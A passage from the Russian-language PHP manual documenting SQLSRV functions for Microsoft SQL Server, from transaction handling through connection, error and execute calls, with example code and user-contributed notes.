Задаёт уровень изоляции транзакции равным REPEATABLE READ. Это значение используется для установки уровня TransactionIsolation в массиве $connectionOptions, переданном аргументом в функцию sqlsrv_connect().
SQLSRV_TXN_SNAPSHOT (int)
Задаёт уровень изоляции транзакции равным SNAPSHOT. Это значение используется для установки уровня TransactionIsolation в массиве $connectionOptions, переданном аргументом в функцию sqlsrv_connect().
SQLSRV_TXN_READ_SERIALIZABLE (int)
Задаёт уровень изоляции транзакции равным SERIALIZABLE. Это значение используется для установки уровня TransactionIsolation в массиве $connectionOptions, переданном аргументом в функцию sqlsrv_connect().
SQLSRV_CURSOR_FORWARD (int)
Задаёт тип курсора как forward-only. За информацией об использовании обратитесь к разделу » Определение типов курсоров.
SQLSRV_CURSOR_STATIC (int)
Задаёт тип курсора как static. За информацией об использовании обратитесь к разделу » Определение типов курсоров.
SQLSRV_DYNAMIC (int)
Задаёт тип курсора как dynamic. За информацией об использовании обратитесь к разделу » Определение типов курсоров.
SQLSRV_CURSOR_KEYSET (int)
Задаёт тип курсора как keyset. За информацией об использовании обратитесь к разделу » Определение типов курсоров.
SQLSRV_CURSOR_BUFFERED (int)
Создаёт запрос с курсором на стороне клиента. Позволяет получать строки в любом порядке. За информацией об использовании обратитесь к разделу » Определение типов курсоров.
SQLSRV_SCROLL_NEXT (int)
Указывает, какую строку выбрать из результирующего набора. За информацией об использовании обратитесь к разделу » Определение типов курсоров и выборка строк.
SQLSRV_SCROLL_PRIOR (int)
Указывает, какую строку выбрать из результирующего набора. За информацией об использовании обратитесь к разделу » Определение типов курсоров и выборка строк.
SQLSRV_SCROLL_FIRST (int)
Указывает, какую строку выбрать из результирующего набора. За информацией об использовании обратитесь к разделу » Определение типов курсоров и выборка строк.
SQLSRV_SCROLL_LAST (int)
Указывает, какую строку выбрать из результирующего набора. За информацией об использовании обратитесь к разделу » Определение типов курсоров и выборка строк.
SQLSRV_SCROLL_ABSOLUTE (int)
Указывает, какую строку выбрать из результирующего набора. За информацией об использовании обратитесь к разделу » Определение типов курсоров и выборка строк.
SQLSRV_SCROLL_RELATIVE (int)
Указывает, какую строку выбрать из результирующего набора. За информацией об использовании обратитесь к разделу » Определение типов курсоров и выборка строк.

User Contributed Notes

There are no user contributed notes for this page.


Функции SQLSRV

Содержание

  • sqlsrv_begin_transaction — Начинает транзакцию базы данных
  • sqlsrv_cancel — Отменяет оператор
  • sqlsrv_client_info — Возвращает информацию о клиенте и указанном подключении
  • sqlsrv_close — Закрывает открытое соединение и освобождает ресурсы, связанные с этим соединением
  • sqlsrv_commit — Фиксирует транзакцию, начатую с помощью sqlsrv_begin_transaction
  • sqlsrv_configure — Изменяет конфигурацию обработки ошибок драйвера и ведения журнала
  • sqlsrv_connect — Открывает соединение с базой данных Microsoft SQL Server
  • sqlsrv_errors — Возвращает информацию об ошибке и предупреждении последней выполненной операции SQLSRV
  • sqlsrv_execute — Выполняет запрос, подготовленный с помощью sqlsrv_prepare
  • sqlsrv_fetch_array — Возвращает строку как массив
  • sqlsrv_fetch_object — Получает следующую строку данных в наборе результатов как объект
  • sqlsrv_fetch — Делает следующую строку в наборе результатов доступной для чтения
  • sqlsrv_field_metadata — Получает метаданные для полей оператора, подготовленного с помощью sqlsrv_prepare или sqlsrv_query
  • sqlsrv_free_stmt — Освобождает все ресурсы для указанного оператора
  • sqlsrv_get_config — Возвращает значение указанного параметра конфигурации
  • sqlsrv_get_field — Получает данные поля из текущей выбранной строки
  • sqlsrv_has_rows — Указывает, есть ли у указанного оператора строки
  • sqlsrv_next_result — Делает активным следующий результат указанного оператора
  • sqlsrv_num_fields — Извлекает количество полей (столбцов) оператора
  • sqlsrv_num_rows — Получает количество строк в наборе результатов
  • sqlsrv_prepare — Подготавливает запрос к исполнению
  • sqlsrv_query — Подготавливает и выполняет запрос
  • sqlsrv_rollback — Откатывает транзакцию, начатую sqlsrv_begin_transaction
  • sqlsrv_rows_affected — Возвращает количество строк, изменённых последним выполненным запросом INSERT, UPDATE или DELETE
  • sqlsrv_send_stream_data — Отправляет данные из потоков параметров на сервер
  • sqlsrv_server_info — Возвращает информацию о сервере

User Contributed Notes

There are no user contributed notes for this page.


Начинает транзакцию базы данных

  • « Функции SQLSRV
  • sqlsrv_cancel »
  • PHP Manual
  • Функции SQLSRV
  • Начинает транзакцию базы данных

sqlsrv_begin_transaction

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_begin_transaction — Начинает транзакцию базы данных

Описание

sqlsrv_begin_transaction(resource $conn): bool

Транзакция, начатая с помощью sqlsrv_begin_transaction(), включает все операторы, которые были выполнены после вызова sqlsrv_begin_transaction() и до вызовов sqlsrv_rollback() или sqlsrv_commit(). Явные транзакции должны запускаться и фиксироваться или откатываться с использованием этих функций вместо выполнения операторов SQL, которые запускают и фиксируют/откатывают транзакции. Для получения дополнительной информации смотрите » Транзакции SQLSRV.

Список параметров

conn

Ресурс подключения, возвращаемый вызовом sqlsrv_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_begin_transaction()

В следующем примере показано, как использоватьsqlsrv_begin_transaction() вместе с sqlsrv_commit() и sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Начало транзакции. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Инициализация значений параметров. */
$orderId = 1; $qty = 10; $productId = 100;

/* Настройка и выполнение первого запроса. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Настройка и выполнение второго запроса. */
$sql2 = "UPDATE InventoryTable
SET Quantity = (Quantity - ?)
WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* Если оба запроса были успешными, зафиксируйте транзакцию. */
/* В противном случае откатите транзакцию. */
if( $stmt1 && $stmt2 ) {
sqlsrv_commit( $conn );
echo "Транзакция зафиксирована.<br />";
} else {
sqlsrv_rollback( $conn );
echo "Транзация откачена.<br />";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Смотрите также

  • sqlsrv_commit() - Фиксирует транзакцию, начатую с помощью sqlsrv_begin_transaction
  • sqlsrv_rollback() - Откатывает транзакцию, начатую sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Отменяет оператор

  • « sqlsrv_begin_transaction
  • sqlsrv_client_info »
  • PHP Manual
  • Функции SQLSRV
  • Отменяет оператор

sqlsrv_cancel

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_cancel — Отменяет оператор

Описание

sqlsrv_cancel(resource $stmt): bool

Отменяет оператор. Все неиспользованные результаты, связанные с оператором, удаляются. После вызова sqlsrv_cancel() указанный оператор может быть выполнен повторно, если он был создан с помощью sqlsrv_prepare(). Вызов sqlsrv_cancel() не требуется, если все результаты, связанные с оператором, были использованы.

Список параметров

stmt

Ресурс оператора, который нужно отменить.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_cancel()

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Sales FROM Table_1";

$stmt = sqlsrv_prepare( $conn, $sql);

if( $stmt === false ) {
die( print_r( sqlsrv_errors(), true));
}

if( sqlsrv_execute( $stmt ) === false) {
die( print_r( sqlsrv_errors(), true));
}

$salesTotal = 0;
$count = 0;

while( ($row = sqlsrv_fetch_array( $stmt)) && $salesTotal <=100000)
{
$qty = $row[0];
$price = $row[1];
$salesTotal += ( $price * $qty);
$count++;
}

echo "$count продаж составили первый $$salesTotal выручки.<br />";

// Отменить ожидающие результаты. Оператор можно использовать повторно.
sqlsrv_cancel( $stmt);
?>

Примечания

Основное различие между sqlsrv_free_stmt() и sqlsrv_cancel() заключается в том, что ресурс оператора, отменённый с помощью sqlsrv_cancel(), может быть повторно выполнен, если он был создан с помощью sqlsrv_prepare(). Ресурс оператора, отменённый с помощью sqlsrv_free_statement(), не может быть повторно выполнен.

Смотрите также

  • sqlsrv_free_stmt() - Освобождает все ресурсы для указанного оператора
  • sqlsrv_prepare() - Подготавливает запрос к исполнению

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о клиенте и указанном подключении

  • « sqlsrv_cancel
  • sqlsrv_close »
  • PHP Manual
  • Функции SQLSRV
  • Возвращает информацию о клиенте и указанном подключении

sqlsrv_client_info

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_client_info — Возвращает информацию о клиенте и указанном подключении

Описание

sqlsrv_client_info(resource $conn): array

Возвращает информацию о клиенте и указанном подключении.

Список параметров

conn

Соединение, о котором возвращается информация.

Возвращаемые значения

Возвращает ассоциативный массив с ключами, описанными в таблице ниже. В противном случае возвращает false.

Массив, возвращаемый sqlsrv_client_info
Ключ | Описание
DriverDllName | SQLNCLI10.DLL
DriverODBCVer | Версия ODBC (xx.yy)
DriverVer | Версия SQL Server Native Client DLL (10.5.xxx)
ExtensionVer | Версия php_sqlsrv.dll (2.0.xxx.x)

Примеры

Пример #1 Пример использования sqlsrv_client_info()

<?php
$serverName = "serverName\sqlexpress";
$connOptions = array("UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connOptions );

if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

if( $client_info = sqlsrv_client_info( $conn)) {
foreach( $client_info as $key => $value) {
echo $key.": ".$value."<br />";
}
} else {
echo "Ошибка при получении информации о клиенте.<br />";
}
?>

Смотрите также

  • sqlsrv_server_info() - Возвращает информацию о сервере

User Contributed Notes

There are no user contributed notes for this page.


Закрывает открытое соединение и освобождает ресурсы, связанные с этим соединением

  • « sqlsrv_client_info
  • sqlsrv_commit »
  • PHP Manual
  • Функции SQLSRV
  • Закрывает открытое соединение и освобождает ресурсы, связанные с этим соединением

sqlsrv_close

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_close — Закрывает открытое соединение и освобождает ресурсы, связанные с этим соединением

Описание

sqlsrv_close(resource $conn): bool

Закрывает открытое соединение и освобождает ресурсы, связанные с этим соединением.

Список параметров

conn

Соединение, которое необходимо закрыть.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_close()

<?php
$serverName = "serverName\sqlexpres";
$connOptions = array("UID"=>"username", "PWD"=>"password", "Database"=>"dbname");
$conn = sqlsrv_connect( $serverName, $connOptions );
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

//-------------------------------------
// Выполнение операций с базой данных.
//-------------------------------------

// Закрытие соединения.
sqlsrv_close( $conn );
?>

Смотрите также

  • sqlsrv_connect() - Открывает соединение с базой данных Microsoft SQL Server

User Contributed Notes

There are no user contributed notes for this page.


Фиксирует транзакцию, начатую с помощью sqlsrv_begin_transaction

  • « sqlsrv_close
  • sqlsrv_configure »
  • PHP Manual
  • Функции SQLSRV
  • Фиксирует транзакцию, начатую с помощью sqlsrv_begin_transaction

sqlsrv_commit

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_commit — Фиксирует транзакцию, начатую с помощью sqlsrv_begin_transaction()

Описание

sqlsrv_commit(resource $conn): bool

Фиксирует транзакцию, начатую с помощью sqlsrv_begin_transaction(). Соединение возвращается в режим автоматической фиксации после вызова sqlsrv_commit(). Подтверждённая транзакция включает все операторы, которые были выполнены после вызова sqlsrv_begin_transaction(). Явные транзакции должны запускаться и фиксироваться или откатываться с использованием этих функций вместо выполнения SQL-операторов, которые запускают и фиксируют/откатывают транзакции. Для получения дополнительной информации смотрите » Транзакции SQLSRV.

Список параметров

conn

Соединение, на котором должна быть совершена транзакция.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_commit()

В следующем примере показано, как использовать sqlsrv_commit() вместе с sqlsrv_begin_transaction() и sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Начало транзакции. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Инициализация значения параметров. */
$orderId = 1; $qty = 10; $productId = 100;

/* Настройка и выполнение первого запроса. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Настройка и выполнение второго запроса. */
$sql2 = "UPDATE InventoryTable
SET Quantity = (Quantity - ?)
WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* Если оба запроса были успешными, зафиксируйте транзакцию. */
/* В противном случае откатите транзакцию */
if( $stmt1 && $stmt2 ) {
sqlsrv_commit( $conn );
echo "Транзакция зафиксирована.<br />";
} else {
sqlsrv_rollback( $conn );
echo "Транзакция откачена.<br />";
}
?>

Смотрите также

  • sqlsrv_begin_transaction() - Начинает транзакцию базы данных
  • sqlsrv_rollback() - Откатывает транзакцию, начатую sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Изменяет конфигурацию обработки ошибок драйвера и ведения журнала

  • « sqlsrv_commit
  • sqlsrv_connect »
  • PHP Manual
  • Функции SQLSRV
  • Изменяет конфигурацию обработки ошибок драйвера и ведения журнала

sqlsrv_configure

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_configure — Изменяет конфигурацию обработки ошибок драйвера и ведения журнала

Описание

sqlsrv_configure(string $setting, mixed $value): bool

Изменяет конфигурацию обработки ошибок драйвера и ведения журнала.

Список параметров

setting

Имя настройки. Возможные значения: "WarningsReturnAsErrors", "LogSubsystems" и "LogSeverity".

value

Значение указанного параметра. В следующей таблице показаны возможные значения:

Параметры настройки ошибок и ведения журнала
Настройка | Опции
WarningsReturnAsErrors | 1 (true) или 0 (false)
LogSubsystems | SQLSRV_LOG_SYSTEM_ALL (-1) SQLSRV_LOG_SYSTEM_CONN (2) SQLSRV_LOG_SYSTEM_INIT (1) SQLSRV_LOG_SYSTEM_OFF (0) SQLSRV_LOG_SYSTEM_STMT (4) SQLSRV_LOG_SYSTEM_UTIL (8)
LogSeverity | SQLSRV_LOG_SEVERITY_ALL (-1) SQLSRV_LOG_SEVERITY_ERROR (1) SQLSRV_LOG_SEVERITY_NOTICE (4) SQLSRV_LOG_SEVERITY_WARNING (2)

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • » Обработка ошибок SQLSRV.
  • » Ведение журнала активности SQLSRV.

User Contributed Notes

smhahmadi 05-Jan-2013 04:23
Performance tip:

Beware of the performance penalty involved with unchecked use of logging options. In my case, although I was using the buffered cursor, sqlsrv_fetch_array was running too slowly. The solution was to remove my lavish use of those configuration options (using both SQLSRV_LOG_SYSTEM_ALL and SQLSRV_LOG_SEVERITY_ALL).


Открывает соединение с базой данных Microsoft SQL Server

  • « sqlsrv_configure
  • sqlsrv_errors »
  • PHP Manual
  • Функции SQLSRV
  • Открывает соединение с базой данных Microsoft SQL Server

sqlsrv_connect

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_connect — Открывает соединение с базой данных Microsoft SQL Server

Описание

sqlsrv_connect(string $serverName, array $connectionInfo = ?): resource

Открывает соединение с базой данных Microsoft SQL Server. По умолчанию попытка подключения выполняется с использованием проверки подлинности Windows. Чтобы подключиться с использованием проверки подлинности SQL Server, включите "UID" и "PWD" в массив параметров подключения.

Список параметров

serverName

Имя сервера, к которому устанавливается соединение. Чтобы подключиться к определённому экземпляру, после имени сервера укажите обратную косую черту и имя экземпляра (например, serverName\sqlexpress).

connectionInfo

Ассоциативный массив, определяющий параметры подключения к серверу. Если значения для ключей UID и PWD не указаны, будет предпринята попытка подключения с использованием проверки подлинности Windows. Полный список поддерживаемых ключей смотрите в разделе » Параметры подключения SQLSRV.

Возвращаемые значения

Ресурс подключения. Если соединение не может быть открыто, возвращается false.

Примеры

Пример #1 Подключение с использованием проверки подлинности Windows.

<?php
$serverName = "serverName\\sqlexpress"; //serverName\instanceName

// Поскольку UID и PWD не указаны в массиве $connectionInfo,
// будет предпринята попытка подключения с использованием проверки подлинности Windows.
$connectionInfo = array( "Database"=>"dbName");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
echo "Соединение установлено.<br />";
}else{
echo "Соединение не установлено.<br />";
die( print_r( sqlsrv_errors(), true));
}
?>

Пример #2 Подключение с использованием имени пользователя и пароля.

<?php
$serverName = "serverName\\sqlexpress"; //serverName\instanceName
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
echo "Соединение установлено.<br />";
}else{
echo "Соединение не установлено.<br />";
die( print_r( sqlsrv_errors(), true));
}
?>

Пример #3 Подключение с использованием порта.

<?php
$serverName = "serverName\\sqlexpress, 1542"; //serverName\instanceName, portNumber (по умолчанию 1433)
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
echo "Соединение установлено.<br />";
}else{
echo "Соединение не установлено.<br />";
die( print_r( sqlsrv_errors(), true));
}
?>

Примечания

По умолчанию sqlsrv_connect() использует пул соединений для повышения производительности соединения. Чтобы отключить пул соединений (т.е. принудительно устанавливать новое соединение при каждом вызове), установите для параметра "ConnectionPooling" в массиве $connectionOptions значение 0 (или false). Для получения дополнительной информации смотрите раздел » Пул соединений SQLSRV.

У модуля SQLSRV нет специальной функции для изменения базы данных после подключения. Целевая база данных указывается в массиве $connectionOptions, который передаётся в sqlsrv_connect. Чтобы изменить базу данных при открытом соединении, выполните следующий запрос "USE dbName" (например, sqlsrv_query($conn, "USE dbName")).

Смотрите также

  • sqlsrv_close() - Закрывает открытое соединение и освобождает ресурсы, связанные с этим соединением
  • sqlsrv_errors() - Возвращает информацию об ошибке и предупреждении последней выполненной операции SQLSRV
  • sqlsrv_query() - Подготавливает и выполняет запрос

User Contributed Notes

Anonymous 20-Jun-2019 06:38
SQL SERVER 2012 conexion in PHP
<?php
    $serverName = "SERVER"; //serverName\instanceName
    $connectionInfo = array( "Database"=>"base", "UID"=>"ex", "PWD"=>"******");
    $conn = sqlsrv_connect( $serverName, $connectionInfo);
;

        if( $conn ) {
             echo "Conexion establecida.<br />";
        }else{
            echo "Conexion no se pudo establecer.<br />";
            die( print_r( sqlsrv_errors(), true));
        }

    $sql = "SELECT name FROM [base].[dbo].[table]";
    $params = array();
    $options =  array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
    $stmt = sqlsrv_query( $conn, $sql , $params, $options );

    $row_count = sqlsrv_num_rows( $stmt );

        if ($row_count === false)
           echo "Error al obtener datos.";
        else
           echo "bien";
        //echo $row_count;

        while( $row = sqlsrv_fetch_array( $stmt) ) {
              print json_encode($row);
        }

    sqlsrv_close($conn);
?>
mmi at uhb-consulting dot de 05-Sep-2018 06:57
to prevent  [Microsoft][ODBC Driver 17 for SQL Server]String data, right truncation Errors on Linux
you must add the Connection Parameter 'CharacterSet' => "UTF-8"

Tested with with Driver Version 5.3
manav at drupal.org/u/manav 23-Jan-2018 10:16
If anybody wants to use
<?php
//..
  sqlsrv_connect();
//..
?> method to Fedora-25 then user have to install PECL php-sqlsrv library to connect ms-sql server remotely in php script.
In my case i found the same issue but after some search i got this solution and implement it.... now it works.
alvaro at demogracia dot com 08-Sep-2016 09:00
You can use the connectionInfo parameter to specify connection encoding, e.g.:

<?php
$connectionInfo = [
    'CharacterSet' => 'UTF-8',
];
$conn = sqlsrv_connect($serverName, $connectionInfo);
?>

Beware though that only two options exist:
- SQLSRV_ENC_CHAR (constant) for ANSI, which is the default
- 'UTF-8' (string) for Unicode
Eion Robb 07-Oct-2015 03:16
As mentioned at https://msdn.microsoft.com/en-us/library/cc296193.aspx the connection will convert some data into PHP data types.  Of particular difference to other database functions in PHP is that dates will be output as objects instead of strings.

To make the sqlsrv_fetch_{array|object}() functions return dates/times/datetimes as strings instead, specify:
  'ReturnDatesAsStrings' => true
in the $connectionInfo array.

For more info about this behaviour, see https://msdn.microsoft.com/en-us/library/ee376928.aspx


Возвращает информацию об ошибке и предупреждении последней выполненной операции SQLSRV

  • « sqlsrv_connect
  • sqlsrv_execute »
  • PHP Manual
  • Функции SQLSRV
  • Возвращает информацию об ошибке и предупреждении последней выполненной операции SQLSRV

sqlsrv_errors

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_errors — Возвращает информацию об ошибке и предупреждении последней выполненной операции SQLSRV

Описание

sqlsrv_errors(int $errorsOrWarnings = ?): mixed

Возвращает информацию об ошибке и предупреждении последней выполненной операции SQLSRV.

Список параметров

errorsOrWarnings

Определяет, возвращаются ли сведения об ошибках, предупреждения или и то и другое. Если параметр не указан, возвращаются как информация об ошибке, так и информация о предупреждениях. Поддерживаются следующие значения параметра: SQLSRV_ERR_ALL, SQLSRV_ERR_ERRORS, SQLSRV_ERR_WARNINGS.

Возвращаемые значения

Если при последней операции sqlsrv возникли ошибки и/или предупреждения, возвращается массив массивов, содержащих информацию об ошибках. Если при последней операции sqlsrv не было ошибок и/или предупреждений, возвращается null. В следующей таблице описана структура возвращаемых массивов:

Массив, возвращаемый sqlsrv_errors
Ключ | Описание
SQLSTATE | Для ошибок, которые возникают из-за драйвера ODBC, возвращается SQLSTATE, возвращаемый ODBC. Для ошибок, которые возникают из-за драйверов Microsoft для PHP для SQL Server, возвращается SQLSTATE IMSSP. Для предупреждений, которые возникают из-за драйверов Microsoft для PHP для SQL Server, SQLSTATE возвращает значение 01SSP.
code | Для ошибок, которые возникают из-за SQL Server, возвращает собственный код ошибки SQL Server. Для ошибок, возникающих из-за драйвера ODBC, возвращается код ошибки, возвращаемый ODBC. Для ошибок, которые возникают из-за драйверов Microsoft для PHP для SQL Server, возвращается код ошибки Microsoft Drivers для PHP для SQL Server.
message | Описание ошибки.

Примеры

Пример #1 Пример использования functionname()

<?php
$serverName = "serverName/sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

/* Настройка запроса для выборки недопустимого имени столбца. */
$sql = "SELECT BadColumnName FROM Table_1";

/* Выполнение запроса завершится ошибкой из-за неправильного имени столбца. */
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false ) {
if( ($errors = sqlsrv_errors() ) != null) {
foreach( $errors as $error ) {
echo "SQLSTATE: ".$error[ 'SQLSTATE']."<br />";
echo "Код: ".$error[ 'code']."<br />";
echo "Сообщение: ".$error[ 'message']."<br />";
}
}
}
?>

Примечания

По умолчанию предупреждения, генерируемые при вызове любой функции SQLSRV, обрабатываются как ошибки. Это означает, что если при вызове функции SQLSRV возникает предупреждение, функция возвращает false. Однако предупреждения, соответствующие значениям SQLSTATE 01000, 01001, 01003 и 01S02, никогда не рассматриваются как ошибки. Для получения информации об изменении этого поведения смотрите описание функции sqlsrv_configure() и параметр WarningsReturnAsErrors.

Смотрите также

  • sqlsrv_configure() - Изменяет конфигурацию обработки ошибок драйвера и ведения журнала

User Contributed Notes

There are no user contributed notes for this page.


Выполняет запрос, подготовленный с помощью sqlsrv_prepare

  • « sqlsrv_errors
  • sqlsrv_fetch_array »
  • PHP Manual
  • Функции SQLSRV
  • Выполняет запрос, подготовленный с помощью sqlsrv_prepare

sqlsrv_execute

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_execute — Выполняет запрос, подготовленный с помощью sqlsrv_prepare()

Описание

sqlsrv_execute(resource $stmt): bool

Выполняет запрос, подготовленный с помощью sqlsrv_prepare(). Функция идеально подходит для многократного выполнения подготовленного запроса с разными значениями параметров.

Список параметров

stmt

Ресурс оператора, возвращаемый sqlsrv_prepare().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sqlsrv_execute()

В этом примере показано, как подготовить оператор с помощью sqlsrv_prepare() и повторно выполнить его несколько раз (с разными значениями параметров) с помощью sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
SET OrderQty = ?
WHERE SalesOrderID = ?";

// Инициализация параметров и подготовка запроса.
// Переменные $qty и $id связаны с оператором $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
die( print_r( sqlsrv_errors(), true));
}

// Настройка информации SalesOrderDetailID и OrderQty.
// Этот массив сопоставляет идентификатор заказа с количеством заказа в парах ключ => значение.
$orders = array( 1=>10, 2=>20, 3=>30);

// Выполнение запроса для каждого заказа.
foreach( $orders as $id => $qty) {
// Поскольку $id и $qty привязаны к $stmt1,
// их обновлённые значения используются при каждом выполнении запроса.
if( sqlsrv_execute( $stmt ) === false ) {
die( print_r( sqlsrv_errors(), true));
}
}
?>

Примечания

Когда вы подготавливаете запрос, который использует переменные в качестве параметров, переменные привязываются к оператору. Это означает, что если вы обновите значения переменных, в следующий раз, когда вы выполните запрос, он будет работать с обновлёнными значениями параметров. Для операторов, которые вы планируете выполнить только один раз, используйте sqlsrv_query().

Смотрите также

  • sqlsrv_prepare() - Подготавливает запрос к исполнению
  • sqlsrv_query() - Подготавливает и выполняет запрос

User Contributed Notes

esundberg at nitelusa dot com 08-Mar-2020 06:22
Working PDO Prepare and Execute Example

Code
----------------------------------------
print "<h1>PDO Example</h1>";

print "<h2>PDO Connection</h2>";
try {
    $pdo = new PDO("sqlsrv:server=$sql_server;Database=$sql_database",$sql_username,$sql_password,['ReturnDatesAsStrings'=>true]);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch(PDOException $e) {
    echo "Connection failed: " . $e->getMessage();
    die("Database Connection Error");

}

print "<h2>Check for PDO Connection</h2>";
if($pdo === false) {
    print "No DB Connection<br>";
} else {
    print "Good DB Connection<br>";
}

print "<h2>PDO Query Example 1 with SQL Injection</h2>";
print "I Personally prefer pdo due to binding of paramaters by name.<br>";
$sql = "SELECT username, active FROM users WHERE username = :username";
print "SQL: $sql\n";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':username', $username);
$stmt->execute();
while($r = $stmt->fetch(PDO::FETCH_OBJ)) {
    print_r($r);
}

------------------------------------------------------
PDO Example
PDO Connection
Check for PDO Connection
Good DB Connection
PDO Query Example 1 with SQL Injection
I Personally prefer pdo due to binding of paramaters by name.
SQL: SELECT username, active FROM users WHERE username = :username
stdClass Object
(
    [username] => admin
    [active] => 1
)
vavra at 602 dot cz 17-Jan-2018 08:48
Attention!
 If the sql contains INSERT, UPDATE or DELETE statements, the number of affected rows must be consumed. The sqlsrv_query returns a sql cursor that must be read to finish the transaction, if the result is non false. This same is valid for sqlsrv_execute. In this case the cursor must be also read using the prepared statement handle $smt.

Another solution is to place SET NOCOUNT ON at the top of the sqlsrv statement and all called procedures, functions and triggers.

We've practically observed it with sql statement with 500 inserts but only 368 was inserted without false returned. Prefixing by SET NOCOUNT ON or reading a cursor all rows were inserted.

See Processing Results (ODBC): https://docs.microsoft.com/en-us/sql/relational-databases/native-client-odbc-results/processing-results-odbc Each INSERT, UPDATE, and DELETE statement returns a result set containing only the number of rows affected by the modification. This count is made available when application calls SQLRowCount. ODBC 3.x applications must either call SQLRowCount to retrieve the result set or SQLMoreResults to cancel it. When an application executes a batch or stored procedure containing multiple INSERT, UPDATE, or DELETE statements, the result set from each modification statement must be processed using SQLRowCount or cancelled using SQLMoreResults. These counts can be cancelled by including a SET NOCOUNT ON statement in the batch or stored procedure.
tuxedobob 01-Mar-2016 04:53
If you're used to working with sqlsrv_query, you're probably used to the following flow:

<?php
$query = "SELECT * FROM mytable WHERE id=?";
$result = sqlsrv_query($conn, $query, array($myID));
$row = sqlsrv_fetch_array($result);
?>

Given that, you might think the following works:

<?php
$myID = 0;
$query = "SELECT * FROM mytable WHERE id=?";
$stmt = sqlsrv_prepare($conn, $query, array(&$myID));
$result = sqlsrv_execute($stmt);
$row = sqlsrv_fetch_array($result);
?>

It doesn't. The reason is that sqlsrv_execute, as noted above, returns true or false on success or failure, respectively. The variable that has your result is actually $stmt. Change the last row to

<?php
$row = sqlsrv_fetch_array($stmt);
?>

and it works as expected.


Возвращает строку как массив

  • « sqlsrv_execute
  • sqlsrv_fetch_object »
  • PHP Manual
  • Функции SQLSRV
  • Возвращает строку как массив

sqlsrv_fetch_array

(Информация о версии неизвестна, возможно, только в Git)

sqlsrv_fetch_array — Возвращает строку как массив

Описание

sqlsrv_fetch_array(
resource $stmt,
int $fetchType = ?,
int $row = ?,
int $offset = ?
): array

Возвращает следующую доступную строку данных в виде ассоциативного массива, числового массива или и того и другого (по умолчанию).

